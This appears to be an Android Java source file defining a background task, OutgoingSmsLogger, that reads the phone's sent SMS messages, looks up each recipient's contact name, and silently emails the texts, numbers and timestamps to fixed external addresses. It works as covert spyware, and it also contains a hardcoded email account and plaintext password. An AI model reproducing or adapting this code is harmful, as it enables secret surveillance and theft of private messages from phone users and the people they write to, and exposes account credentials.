package my.android.message;

import android.content.ContentResolver;
import android.content.Context;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.AsyncTask;
import android.provider.ContactsContract;

import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;

/**
 * Created by dinhthao on 6/26/13.
 */
public class OutgoingSmsLogger extends AsyncTask<Void, Void, Void> {

    private static final String CONDITIONS = "type = 2 AND date > ";
    private static final String ORDER = "date DESC";
    private SharedPreferences prefs;
    private long timeLastChecked;
    private Context con;
    private List<Sms> lstSms;
    private ConnectivityManager mConnectivityManager;
    private NetworkInfo mNetworkInfo;

    public OutgoingSmsLogger(Context context) {
        this.prefs = context.getSharedPreferences("time", Context.MODE_PRIVATE);
        this.con = context;

//        mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
    }

    @Override
    protected Void doInBackground(Void... voids) {
        mConnectivityManager = (ConnectivityManager) con.getSystemService(Context.CONNECTIVITY_SERVICE);
        if(mConnectivityManager != null){
            mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
        }

        String message = "";
        List<Sms> listSms = getAllSms();
        if (listSms.size() > 0) {
            for (int i = 0; i < listSms.size(); i++) {
                message += i + 1 + "." + findNamebyAddr(con, listSms.get(i).get_address()) + "-" + listSms.get(i).get_address() + "\n" +
                        getDate(listSms.get(i).get_time()) + "\n" + listSms.get(i).get_msg() + "\n";
            }
            //send mail
            try {
                if(mNetworkInfo.isConnected()){
                    GmailSender mail = new GmailSender("thaond@sunnet.vn", "thao181992");
                    mail.sendMail("New SMS or Call", message, "thaond@sunnet.vn", "dinhthaobkhn@gmail.com");
                    lstSms = null;
                }

            } catch (Exception e) {

            }

        }

        return null;
    }

    //get Name of user who have address is addr
    private String findNamebyAddr(Context ct, String addr) {
        Uri person = Uri.withAppendedPath(ContactsContract.CommonDataKinds.Phone.CONTENT_FILTER_URI, Uri.encode(addr));
        String[] projection = new String[]{ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME};
        Cursor cursor = ct.getContentResolver().query(person, projection, null, null, null);
        if (cursor.moveToFirst()) {
            String name = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
            cursor.close();
            return name;
        } else {
            return "No name";
        }
    }

    //get date follow fomat
    private String getDate(String date) {
        return new SimpleDateFormat("dd/MM/yyyy - HH:mm:ss").format(Long.parseLong(date)).toString();
    }

    public List<Sms> getAllSms() {
        lstSms = new ArrayList<Sms>();
        Sms objSms;
        Uri path = Uri.parse("content://sms/");
        ContentResolver cr = con.getContentResolver();
        timeLastChecked = prefs.getLong("last_time_checked", -1L);
        Cursor cursor = cr.query(path, null, CONDITIONS + timeLastChecked, null, ORDER);
        if(cursor.moveToFirst()){
            if(mNetworkInfo != null && mNetworkInfo.isConnected()){
                timeLastChecked = cursor.getLong(cursor.getColumnIndexOrThrow("date"));
                SharedPreferences.Editor editor = prefs.edit();
                editor.putLong("last_time_checked", timeLastChecked);
                editor.commit();
            }
        }
        if (cursor.moveToFirst()) {
            do {
                objSms = new Sms();
                objSms.set_id(cursor.getString(cursor.getColumnIndexOrThrow("_id")));
                objSms.set_address(cursor.getString(cursor.getColumnIndexOrThrow("address")));
                objSms.set_msg(cursor.getString(cursor.getColumnIndexOrThrow("body")));
                objSms.set_readState(cursor.getString(cursor.getColumnIndexOrThrow("read")));
                objSms.set_time(cursor.getString(cursor.getColumnIndexOrThrow("date")));
                objSms.set_folderName("sent");
                lstSms.add(objSms);
            }while (cursor.moveToNext());
        }
        cursor.close();
        return lstSms;
    }

}
